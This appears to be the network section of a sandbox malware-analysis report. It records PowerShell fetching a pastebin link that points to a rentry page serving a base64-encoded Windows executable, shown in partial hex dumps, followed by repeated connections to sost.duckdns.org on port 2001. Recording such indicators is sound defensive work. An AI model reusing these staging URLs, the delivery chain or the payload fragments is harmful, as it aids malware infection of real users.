Oct 31, 2024 07:42:51.880660057 CET	2001	50072	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:52.430289984 CET	2001	50072	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:52.434014082 CET	50072	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:52.434084892 CET	50072	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:52.439011097 CET	2001	50072	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:52.763015985 CET	50073	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:52.768055916 CET	2001	50073	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:52.770296097 CET	50073	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:52.780860901 CET	50073	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:52.785850048 CET	2001	50073	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:53.317043066 CET	2001	50073	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:53.317116976 CET	50073	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:53.317183971 CET	50073	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:53.321990013 CET	2001	50073	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:53.636356115 CET	50074	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:53.641371965 CET	2001	50074	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:53.641439915 CET	50074	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:53.641839027 CET	50074	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:53.646713018 CET	2001	50074	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:54.199168921 CET	2001	50074	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:54.202240944 CET	50074	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:54.202279091 CET	50074	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:54.207154989 CET	2001	50074	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:54.511523008 CET	50075	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:54.516474962 CET	2001	50075	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:54.518260956 CET	50075	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:54.518547058 CET	50075	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:54.523317099 CET	2001	50075	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.075742960 CET	2001	50075	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.078263044 CET	50075	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.078335047 CET	50075	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.083215952 CET	2001	50075	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.387536049 CET	50076	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.392477989 CET	2001	50076	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.394265890 CET	50076	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.398387909 CET	50076	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.403204918 CET	2001	50076	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.940627098 CET	2001	50076	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:55.940701008 CET	50076	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.940736055 CET	50076	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:55.946266890 CET	2001	50076	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:56.229614973 CET	50077	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:56.234601974 CET	2001	50077	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:56.234697104 CET	50077	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:56.235002041 CET	50077	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:56.239854097 CET	2001	50077	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:56.881053925 CET	2001	50077	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:56.884893894 CET	50077	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:56.884893894 CET	50077	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:56.889769077 CET	2001	50077	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:57.167200089 CET	50078	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:57.173336029 CET	2001	50078	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:57.176553965 CET	50078	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:57.176750898 CET	50078	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:57.183655024 CET	2001	50078	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:57.747220039 CET	2001	50078	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:57.747289896 CET	50078	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:57.747334003 CET	50078	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:57.752737045 CET	2001	50078	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.010979891 CET	50079	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.016444921 CET	2001	50079	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.020603895 CET	50079	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.020952940 CET	50079	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.025825024 CET	2001	50079	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.570621014 CET	2001	50079	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.570699930 CET	50079	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.570770025 CET	50079	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.575680017 CET	2001	50079	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.823637962 CET	50080	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.828608036 CET	2001	50080	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:58.828696966 CET	50080	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.829009056 CET	50080	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:58.833859921 CET	2001	50080	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:59.381448030 CET	2001	50080	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:59.385087967 CET	50080	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:59.385087967 CET	50080	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:59.389983892 CET	2001	50080	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:59.636069059 CET	50081	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:59.783436060 CET	2001	50081	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:59.783544064 CET	50081	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:59.783941031 CET	50081	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:59.788863897 CET	2001	50081	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:00.334825039 CET	2001	50081	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:00.336313963 CET	50081	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:00.336410999 CET	50081	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:00.341537952 CET	2001	50081	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:00.573568106 CET	50082	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:00.579963923 CET	2001	50082	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:00.580569983 CET	50082	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:00.580873966 CET	50082	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:00.586139917 CET	2001	50082	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.140774965 CET	2001	50082	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.140840054 CET	50082	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.140908003 CET	50082	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.145802975 CET	2001	50082	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.370853901 CET	50083	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.376000881 CET	2001	50083	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.378264904 CET	50083	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.380012035 CET	50083	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.384856939 CET	2001	50083	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.928855896 CET	2001	50083	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:01.930282116 CET	50083	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.944139004 CET	50083	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:01.949157000 CET	2001	50083	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.167326927 CET	50084	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.172368050 CET	2001	50084	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.174305916 CET	50084	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.178848982 CET	50084	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.183691978 CET	2001	50084	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.749200106 CET	2001	50084	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.750253916 CET	50084	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.750277996 CET	50084	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.755143881 CET	2001	50084	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.963994026 CET	50085	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.969089031 CET	2001	50085	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:02.970258951 CET	50085	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.970526934 CET	50085	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:02.975343943 CET	2001	50085	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:03.519562960 CET	2001	50085	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:03.522255898 CET	50085	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:03.522416115 CET	50085	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:03.527168989 CET	2001	50085	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:03.729919910 CET	50086	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:03.737091064 CET	2001	50086	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:03.737169981 CET	50086	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:03.737488031 CET	50086	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:03.742860079 CET	2001	50086	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:04.288361073 CET	2001	50086	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:04.294264078 CET	50086	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:04.294296026 CET	50086	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:04.299062014 CET	2001	50086	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:04.495223999 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:04.500101089 CET	2001	50087	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:04.500184059 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:04.500478983 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:04.505269051 CET	2001	50087	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:05.271498919 CET	2001	50087	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:05.271708965 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.271708965 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.272116899 CET	2001	50087	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:05.272300005 CET	50087	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.276623011 CET	2001	50087	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:05.464078903 CET	50088	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.469011068 CET	2001	50088	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:05.470273018 CET	50088	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.470561028 CET	50088	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:05.476195097 CET	2001	50088	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.021900892 CET	2001	50088	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.021976948 CET	50088	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.022056103 CET	50088	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.026878119 CET	2001	50088	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.214000940 CET	50089	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.218916893 CET	2001	50089	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.222265959 CET	50089	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.222549915 CET	50089	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.227982998 CET	2001	50089	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.774871111 CET	2001	50089	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.775810957 CET	50089	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.778830051 CET	50089	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.783672094 CET	2001	50089	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.965451956 CET	50090	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.970402002 CET	2001	50090	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:06.970887899 CET	50090	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.974545956 CET	50090	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:06.979440928 CET	2001	50090	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:07.523381948 CET	2001	50090	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:07.523449898 CET	50090	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:07.523483992 CET	50090	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:07.528368950 CET	2001	50090	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:07.698532104 CET	50091	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:07.703419924 CET	2001	50091	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:07.703502893 CET	50091	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:07.703876019 CET	50091	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:07.708713055 CET	2001	50091	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:08.263771057 CET	2001	50091	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:08.263837099 CET	50091	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:08.263922930 CET	50091	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:08.269016981 CET	2001	50091	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:08.432828903 CET	50092	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:08.437752962 CET	2001	50092	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:08.442234993 CET	50092	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:08.442564964 CET	50092	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:08.447561979 CET	2001	50092	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:09.357506037 CET	2001	50092	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:09.358289003 CET	50092	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:09.358421087 CET	50092	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:09.363198042 CET	2001	50092	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:09.855631113 CET	50093	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:09.860483885 CET	2001	50093	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:09.860620975 CET	50093	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:09.861259937 CET	50093	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:09.866077900 CET	2001	50093	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:10.413343906 CET	2001	50093	181.236.112.169	192.168.2.4
Oct 31, 2024 07:43:10.414369106 CET	50093	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:10.414422989 CET	50093	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:43:10.419253111 CET	2001	50093	181.236.112.169	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 07:41:04.958941936 CET	56198	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:41:04.965806007 CET	53	56198	1.1.1.1	192.168.2.4
Oct 31, 2024 07:41:10.160072088 CET	56454	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:41:10.251943111 CET	53	56454	1.1.1.1	192.168.2.4
Oct 31, 2024 07:41:18.201740980 CET	55008	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:41:18.209826946 CET	53	55008	1.1.1.1	192.168.2.4
Oct 31, 2024 07:41:21.912794113 CET	55601	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:41:22.021389961 CET	53	55601	1.1.1.1	192.168.2.4
Oct 31, 2024 07:42:22.135646105 CET	60025	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:42:22.238631010 CET	53	60025	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 07:41:04.958941936 CET	192.168.2.4	1.1.1.1	0xb4b4	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:10.160072088 CET	192.168.2.4	1.1.1.1	0x571b	Standard query (0)	rentry.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:18.201740980 CET	192.168.2.4	1.1.1.1	0x5c8	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:21.912794113 CET	192.168.2.4	1.1.1.1	0xbd75	Standard query (0)	sost.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:42:22.135646105 CET	192.168.2.4	1.1.1.1	0xa916	Standard query (0)	sost.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 07:41:04.965806007 CET	1.1.1.1	192.168.2.4	0xb4b4	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:04.965806007 CET	1.1.1.1	192.168.2.4	0xb4b4	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:04.965806007 CET	1.1.1.1	192.168.2.4	0xb4b4	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:10.251943111 CET	1.1.1.1	192.168.2.4	0x571b	No error (0)	rentry.org	164.132.58.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:18.209826946 CET	1.1.1.1	192.168.2.4	0x5c8	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:18.209826946 CET	1.1.1.1	192.168.2.4	0x5c8	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:41:22.021389961 CET	1.1.1.1	192.168.2.4	0xbd75	No error (0)	sost.duckdns.org	181.236.112.169	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:42:22.238631010 CET	1.1.1.1	192.168.2.4	0xa916	No error (0)	sost.duckdns.org	181.236.112.169	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

rentry.org

paste.ee

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.20.3.235	443	980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:41:05 UTC	169	OUT	GET /raw/J6uRjZrv HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-31 06:41:06 UTC	391	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:41:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Thu, 31 Oct 2024 06:41:06 GMT Server: cloudflare CF-RAY: 8db1a84b1aa14636-DFW
2024-10-31 06:41:06 UTC	37	IN	Data Raw: 31 66 0d 0a 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 6f 72 67 2f 76 73 6d 34 6f 66 78 73 2f 72 61 77 0d 0a Data Ascii: 1fhttps://rentry.org/vsm4ofxs/raw
2024-10-31 06:41:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	164.132.58.105	443	5480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:41:11 UTC	167	OUT	GET /vsm4ofxs/raw HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: rentry.org Connection: Keep-Alive
2024-10-31 06:41:11 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 06:41:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 82604 Connection: close Vary: Origin X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: Vary
2024-10-31 06:41:11 UTC	16065	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 50 79 66 49 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 4f 6f 41 41 41 41 47 41 41 41 41 41 41 41 41 54 67 6b 42 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAPyfIWcAAAAAAAAAAOAAIiALAVAAAOoAAAAGAAAAAAAATgkBAAAgAAAAAAAAAAAAEAAgAAAAAgA
2024-10-31 06:41:11 UTC	16384	IN	Data Raw: 47 39 38 41 41 41 4b 4b 67 4d 65 62 33 77 41 41 41 6f 71 41 78 38 73 62 33 77 41 41 41 6f 71 41 78 39 79 62 33 77 41 41 41 6f 71 41 78 39 30 62 33 77 41 41 41 6f 71 41 78 38 58 62 33 77 41 41 41 6f 71 41 78 38 4e 62 33 77 41 41 41 6f 71 41 78 38 4a 62 33 77 41 41 41 6f 71 41 78 74 76 66 41 41 41 43 69 6f 44 48 78 4e 76 66 41 41 41 43 69 6f 44 48 78 46 76 66 41 41 41 43 69 6f 44 48 78 5a 76 66 41 41 41 43 69 6f 44 49 4a 6f 41 41 41 42 76 66 41 41 41 43 69 6f 44 48 32 42 76 66 41 41 41 43 69 6f 44 48 7a 68 76 66 41 41 41 43 69 6f 44 49 4e 59 41 41 41 42 76 66 41 41 41 43 69 6f 44 49 49 34 41 41 41 42 76 66 41 41 41 43 69 6f 44 48 32 6c 76 66 41 41 41 43 69 6f 44 49 50 34 41 41 41 42 76 66 41 41 41 43 67 4d 61 62 33 77 41 41 41 6f 71 41 78 38 74 62 33 77 41 Data Ascii: G98AAAKKgMeb3wAAAoqAx8sb3wAAAoqAx9yb3wAAAoqAx90b3wAAAoqAx8Xb3wAAAoqAx8Nb3wAAAoqAx8Jb3wAAAoqAxtvfAAACioDHxNvfAAACioDHxFvfAAACioDHxZvfAAACioDIJoAAABvfAAACioDH2BvfAAACioDHzhvfAAACioDINYAAABvfAAACioDII4AAABvfAAACioDH2lvfAAACioDIP4AAABvfAAACgMab3wAAAoqAx8tb3wA
2024-10-31 06:41:11 UTC	16384	IN	Data Raw: 41 51 43 49 41 45 42 41 41 42 5a 6c 46 51 71 45 7a 41 45 41 46 4d 41 41 41 41 2b 41 41 41 52 66 71 51 41 41 41 51 43 4b 41 49 41 41 43 73 4b 42 68 59 76 42 51 5a 6d 46 31 6b 4b 41 77 59 67 41 51 45 41 41 46 68 55 4b 78 49 48 52 51 4d 41 41 41 41 45 41 41 41 41 45 77 41 41 41 43 41 41 41 41 41 57 43 79 76 71 42 41 4a 2b 70 41 41 41 42 41 61 55 57 56 51 58 43 79 76 62 42 58 36 6c 41 41 41 45 42 70 52 55 47 41 73 72 7a 69 6f 41 45 7a 41 45 41 45 30 41 41 41 41 2b 41 41 41 52 66 71 59 41 41 41 51 43 4b 41 49 41 41 43 73 4b 42 68 59 76 42 51 5a 6d 46 31 6b 4b 41 77 5a 55 4b 78 49 48 52 51 4d 41 41 41 41 45 41 41 41 41 45 51 41 41 41 43 41 41 41 41 41 58 43 79 76 71 42 58 36 6e 41 41 41 45 42 70 52 55 47 41 73 72 33 51 51 43 66 71 59 41 41 41 51 47 6c 46 6c 55 Data Ascii: AQCIAEBAABZlFQqEzAEAFMAAAA+AAARfqQAAAQCKAIAACsKBhYvBQZmF1kKAwYgAQEAAFhUKxIHRQMAAAAEAAAAEwAAACAAAAAWCyvqBAJ+pAAABAaUWVQXCyvbBX6lAAAEBpRUGAsrzioAEzAEAE0AAAA+AAARfqYAAAQCKAIAACsKBhYvBQZmF1kKAwZUKxIHRQMAAAAEAAAAEQAAACAAAAAXCyvqBX6nAAAEBpRUGAsr3QQCfqYAAAQGlFlU
2024-10-31 06:41:11 UTC	16384	IN	Data Raw: 77 42 6f 41 41 41 42 45 41 43 54 44 67 41 41 65 41 42 5a 41 47 67 41 41 41 41 51 41 4b 67 4f 41 41 43 41 41 46 73 41 62 67 41 41 41 52 41 41 74 68 41 41 41 48 67 41 58 51 42 31 41 41 41 42 45 41 43 64 45 77 41 41 65 41 42 66 41 48 73 41 41 41 45 51 41 47 4d 55 41 41 42 34 41 46 38 41 66 77 43 41 41 42 41 41 66 68 51 41 41 49 41 41 58 77 43 44 41 41 41 41 45 41 43 54 46 41 41 41 67 41 42 67 41 49 73 41 41 41 41 51 41 4b 6f 55 41 41 43 55 41 47 45 41 6a 77 41 41 41 42 41 41 32 68 51 41 41 41 6b 41 5a 51 43 67 41 41 41 41 45 41 44 51 46 51 41 41 43 51 42 6d 41 4b 49 41 41 41 45 41 41 4f 55 56 41 41 44 56 41 47 30 41 6f 77 41 41 41 42 41 41 6e 67 45 41 41 4a 51 41 63 41 43 6a 41 41 41 41 45 41 44 48 41 51 41 41 43 51 42 30 41 4b 67 41 41 41 41 51 41 4f 59 42 Data Ascii: wBoAAABEACTDgAAeABZAGgAAAAQAKgOAACAAFsAbgAAARAAthAAAHgAXQB1AAABEACdEwAAeABfAHsAAAEQAGMUAAB4AF8AfwCAABAAfhQAAIAAXwCDAAAAEACTFAAAgABgAIsAAAAQAKoUAACUAGEAjwAAABAA2hQAAAkAZQCgAAAAEADQFQAACQBmAKIAAAEAAOUVAADVAG0AowAAABAAngEAAJQAcACjAAAAEADHAQAACQB0AKgAAAAQAOYB
